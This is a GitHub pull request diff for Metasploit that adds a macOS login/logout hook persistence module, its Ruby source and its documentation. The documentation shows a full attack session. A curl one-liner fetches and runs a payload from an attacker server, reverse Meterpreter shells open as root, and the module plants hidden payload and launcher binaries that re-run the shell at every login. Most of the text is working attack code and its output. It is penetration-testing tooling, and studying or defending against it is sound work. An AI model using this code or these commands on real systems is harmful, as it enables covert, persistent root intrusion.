Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
149 changes: 149 additions & 0 deletions documentation/modules/exploit/osx/persistence/login_hook.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,149 @@
## Vulnerable Application

This module provides a persistent payload by installing a login or logout hook.
Hooks are set via the `com.apple.loginwindow` preferences domain (`LoginHook` and
`LogoutHook` keys), and the loginwindow process executes the hooked binary, as
root, whenever a user logs in or out.

Although deprecated by Apple, login and logout hooks remain functional on modern
macOS releases, however only macho binaries are executed (scripts are silently
ignored), and loginwindow waits for the hook to exit before completing the
login/logout. The module therefore hooks a small macho launcher which
backgrounds the payload with `nohup` and exits immediately, so the login process
is not blocked and the payload survives loginwindow tearing down the hook's
session.

Only one `LoginHook` and one `LogoutHook` can exist at a time, so if a hook is
already present it is backed up and restored when the cleanup resource file is
used.

Root privileges are required to write to the `com.apple.loginwindow` domain.

Do not stage the payload in a TCC-protected directory (`~/Desktop`, `~/Documents`,
`~/Downloads`): when loginwindow executes the hook, access to those locations
triggers a user consent prompt instead of executing cleanly. Use a location such
as `/var/root` instead (set `WritableDir`).

## Verification Steps

1. Start msfconsole
1. Get a root shell on the target
1. Do: `use exploit/osx/persistence/login_hook`
1. Do: `set session <session>`
1. Do: `set WritableDir /var/root` (or any non-TCC-protected directory)
1. Do: `run`
1. Log out and back in on the target (or set `RUN_NOW true`)
1. You should get a new shell as root.

## Options

### HOOK_TYPE

Type of hook to install. `LoginHook` executes at user login, `LogoutHook` at user
logout. Defaults to `LoginHook`.

### RUN_NOW

Run the installed payload immediately. Defaults to `false`.

## Scenarios

### macOS 11.7.11

Initial Shell

```
resource (/home/h00die/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/home/h00die/.msf4/msfconsole.rc)> setg session -1
session => -1
resource (/home/h00die/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/home/h00die/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/home/h00die/.msf4/msfconsole.rc)> set target 8
target => 8
resource (/home/h00die/.msf4/msfconsole.rc)> set srvport 8083
srvport => 8083
resource (/home/h00die/.msf4/msfconsole.rc)> set uripath o
uripath => o
resource (/home/h00die/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter/reverse_tcp
payload => osx/x64/meterpreter/reverse_tcp
resource (/home/h00die/.msf4/msfconsole.rc)> set lport 4447
lport => 4447
resource (/home/h00die/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4447

[*] Using URL: http://1.1.1.1:8083/o
[*] Server started.
[*] Run the following command on the target machine:
curl -sk --output focW0d8S http://1.1.1.1:8083/o; chmod +x focW0d8S; ./focW0d8S& disown
msf exploit(multi/script/web_delivery) > [*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(29648 bytes)
[*] Sending stage (874608 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4447 -> 2.2.2.2:49223) at 2026-08-09 13:11:13 -0400

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : h00dies-MacBook-Pro.local
OS : macOS Big Sur (macOS 11.7.11)
Architecture : x86
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
meterpreter > background
[*] Backgrounding session 1...
```

Persistence

```
msf exploit(multi/script/web_delivery) > use exploit/osx/persistence/login_hook
[*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp
msf exploit(osx/persistence/login_hook) > set WritableDir /var/root
WritableDir => /var/root
msf exploit(osx/persistence/login_hook) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(osx/persistence/login_hook) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Session is root, and /var/root is writable
[*] Writing payload to /var/root/.FHfVkpcx...
[+] Payload stored to /var/root/.FHfVkpcx
[+] Launcher stored to /var/root/.HqXpJuMR
[*] defaults write output:
[+] LoginHook installed: /var/root/.HqXpJuMR
[*] Meterpreter-compatible Cleanup RC file: /home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260809.1146/h00dies-MacBook-Pro.local_20260809.1146.rc
```

Log out and log back in

```
[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(29648 bytes)
[*] Sending stage (874608 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49237) at 2026-08-09 13:12:52 -0400

msf exploit(osx/persistence/login_hook) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root
```

Cleanup

```
meterpreter > run /home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260809.1146/h00dies-MacBook-Pro.local_20260809.1146.rc
[*] Processing /home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260809.1146/h00dies-MacBook-Pro.local_20260809.1146.rc for ERB directives.
resource (/home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260809.1146/h00dies-MacBook-Pro.local_20260809.1146.rc)> rm /var/root/.FHfVkpcx
resource (/home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260809.1146/h00dies-MacBook-Pro.local_20260809.1146.rc)> rm /var/root/.HqXpJuMR
resource (/home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260809.1146/h00dies-MacBook-Pro.local_20260809.1146.rc)> execute -f /usr/bin/defaults -a "delete com.apple.loginwindow LoginHook"
Process 794 created.
```
7 changes: 4 additions & 3 deletions modules/exploits/osx/persistence/launch_plist.rb
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@ def initialize(info = {})
super(
update_info(
info,
'Name' => 'Mac OS X Persistent Payload Installer',
'Name' => 'Launch Daemon and Agent Persistence',
'Description' => %q{
This module provides a persistent boot payload by creating a launch item, which can be
a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered
Expand All @@ -42,11 +42,12 @@ def initialize(info = {})
'DefaultTarget' => 0,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DisclosureDate' => '2012-04-01',
'Platform' => [ 'osx', 'python', 'unix' ],
'References' => [
['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'],
['URL', 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'],
['ATT&CK', Mitre::Attack::Technique::T1647_PLIST_FILE_MODIFICATION]
['ATT&CK', Mitre::Attack::Technique::T1647_PLIST_FILE_MODIFICATION],
['ATT&CK', Mitre::Attack::Technique::T1543_004_LAUNCH_DAEMON],
['ATT&CK', Mitre::Attack::Technique::T1543_001_LAUNCH_AGENT],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
Expand Down
171 changes: 171 additions & 0 deletions modules/exploits/osx/persistence/login_hook.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,171 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Common
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Login/Logout Hook Persistence',
'Description' => %q{
This module provides a persistent payload by installing a login or logout hook.
Hooks are set via the com.apple.loginwindow preferences domain (LoginHook and
LogoutHook keys), and the loginwindow process executes the hooked binary, as
root, whenever a user logs in or out.

Although deprecated by Apple, login and logout hooks remain functional on modern
macOS releases, however only macho binaries are executed (scripts are silently
ignored), and loginwindow waits for the hook to exit before completing the
login/logout. The module therefore hooks a small macho launcher which
backgrounds the payload with nohup and exits immediately, so the login process
is not blocked and the payload survives loginwindow tearing down the hook's
session.

Only one LoginHook and one LogoutHook can exist at a time, so if a hook is
already present it is backed up and restored when the cleanup resource file
is used.

Root privileges are required to write to the com.apple.loginwindow domain.
},
'License' => MSF_LICENSE,
'Author' => [
'Patrick Wardle', # The Art of Mac Malware, Vol 1 - documentation of the technique
'h00die' # msf module
],
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }]
],
'DefaultTarget' => 0,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DisclosureDate' => '2022-10-27', # https://www.sentinelone.com/blog/how-malware-persists-on-macos/ updated date
'Privileged' => true,
'References' => [
['URL', 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'],
['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'], # page 34
['ATT&CK', Mitre::Attack::Technique::T1037_002_LOGIN_HOOK]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)

register_options([
OptEnum.new('HOOK_TYPE', [true, 'Type of hook to install.', 'LoginHook', ['LoginHook', 'LogoutHook']]),
OptBool.new('RUN_NOW', [false, 'Run the installed payload immediately.', false])
])
end

def check
return CheckCode::Safe('Session is not running as root, unable to write to the com.apple.loginwindow domain') unless is_root?
return CheckCode::Safe("#{writable_dir} not writable") unless writable?(writable_dir)

print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')

# Desktop/Documents/Downloads are TCC-protected: when loginwindow executes the
# hook, access to files there triggers a user consent prompt (or is silently
# blocked at the login window), preventing unattended payload execution.
if writable_dir =~ %r{^/Users/[^/]+/(Desktop|Documents|Downloads)(/|$)}
print_warning("#{writable_dir} is a TCC-protected location, the hook will trigger a user consent prompt instead of executing cleanly. Choose somewhere else, such as /usr/local/bin or /var/root.")
end

CheckCode::Appears("Session is root, and #{writable_dir} is writable")
end

def install_persistence
backup_existing_hook

payload_bin = generate_payload_exe

write_payload(payload_bin)
write_launcher
install_hook

return unless datastore['RUN_NOW']

print_status('Running payload now')
cmd_exec(launcher_path)
end

def backup_existing_hook
# when the key is unset, defaults prints an error to stderr which meterpreter
# merges into stdout, so only an absolute path is a valid existing hook
hook = cmd_exec("/usr/bin/defaults read com.apple.loginwindow #{datastore['HOOK_TYPE']}").strip
return unless hook.start_with?('/')

@existing_hook = hook
print_warning("Existing #{datastore['HOOK_TYPE']} found: #{@existing_hook}. It will be overwritten, and restored on cleanup.")
@clean_up_rc << "execute -f /usr/bin/defaults -a \"write com.apple.loginwindow #{datastore['HOOK_TYPE']} #{@existing_hook}\"\n"
end

def install_hook
output = create_process('/usr/bin/defaults', args: ['write', 'com.apple.loginwindow', datastore['HOOK_TYPE'], launcher_path])
vprint_status("defaults write output: #{output}")

hook = cmd_exec("/usr/bin/defaults read com.apple.loginwindow #{datastore['HOOK_TYPE']}").strip
if hook == launcher_path
print_good("#{datastore['HOOK_TYPE']} installed: #{hook}")
# if a hook was backed up, the restore command is already in the cleanup file
@clean_up_rc << "execute -f /usr/bin/defaults -a \"delete com.apple.loginwindow #{datastore['HOOK_TYPE']}\"\n" if @existing_hook.nil?
else
fail_with(Failure::UnexpectedReply, "Error installing #{datastore['HOOK_TYPE']}: expected '#{launcher_path}' but read back '#{hook}'")
end
end

def payload_path
@payload_path ||= File.join(writable_dir, ".#{Rex::Text.rand_text_alpha(8)}")
end

def launcher_path
@launcher_path ||= File.join(writable_dir, ".#{Rex::Text.rand_text_alpha(8)}")
end

def write_payload(exe)
print_status("Writing payload to #{payload_path}...")
mkdir(File.dirname(payload_path), cleanup: false) unless directory?(File.dirname(payload_path))

if write_file(payload_path, exe)
print_good("Payload stored to #{payload_path}")
chmod(payload_path, 0o755)
@clean_up_rc << "rm #{payload_path}\n"
else
fail_with(Failure::UnexpectedReply, "Error writing payload to #{payload_path}")
end
end

# loginwindow only executes macho binaries for login/logout hooks (scripts are
# silently ignored), and waits for the hook to exit before completing the
# login/logout. The hook therefore points at a small macho launcher (built from
# the osx/x64/exec payload) which backgrounds the real payload with nohup and
# exits immediately: the login process is not blocked, and the orphaned payload
# is reparented to launchd so it survives loginwindow tearing down the hook's
# session.
def write_launcher
launcher = framework.payloads.create('osx/x64/exec')
launcher.datastore['CMD'] = "/bin/sh -c 'nohup #{payload_path} >/dev/null 2>&1 &'"
exe = Msf::Util::EXE.to_osx_x64_macho(framework, Msf::EncodedPayload.create(launcher).encoded)

if write_file(launcher_path, exe)
print_good("Launcher stored to #{launcher_path}")
chmod(launcher_path, 0o755)
@clean_up_rc << "rm #{launcher_path}\n"
else
fail_with(Failure::UnexpectedReply, "Error writing launcher to #{launcher_path}")
end
end
end
Loading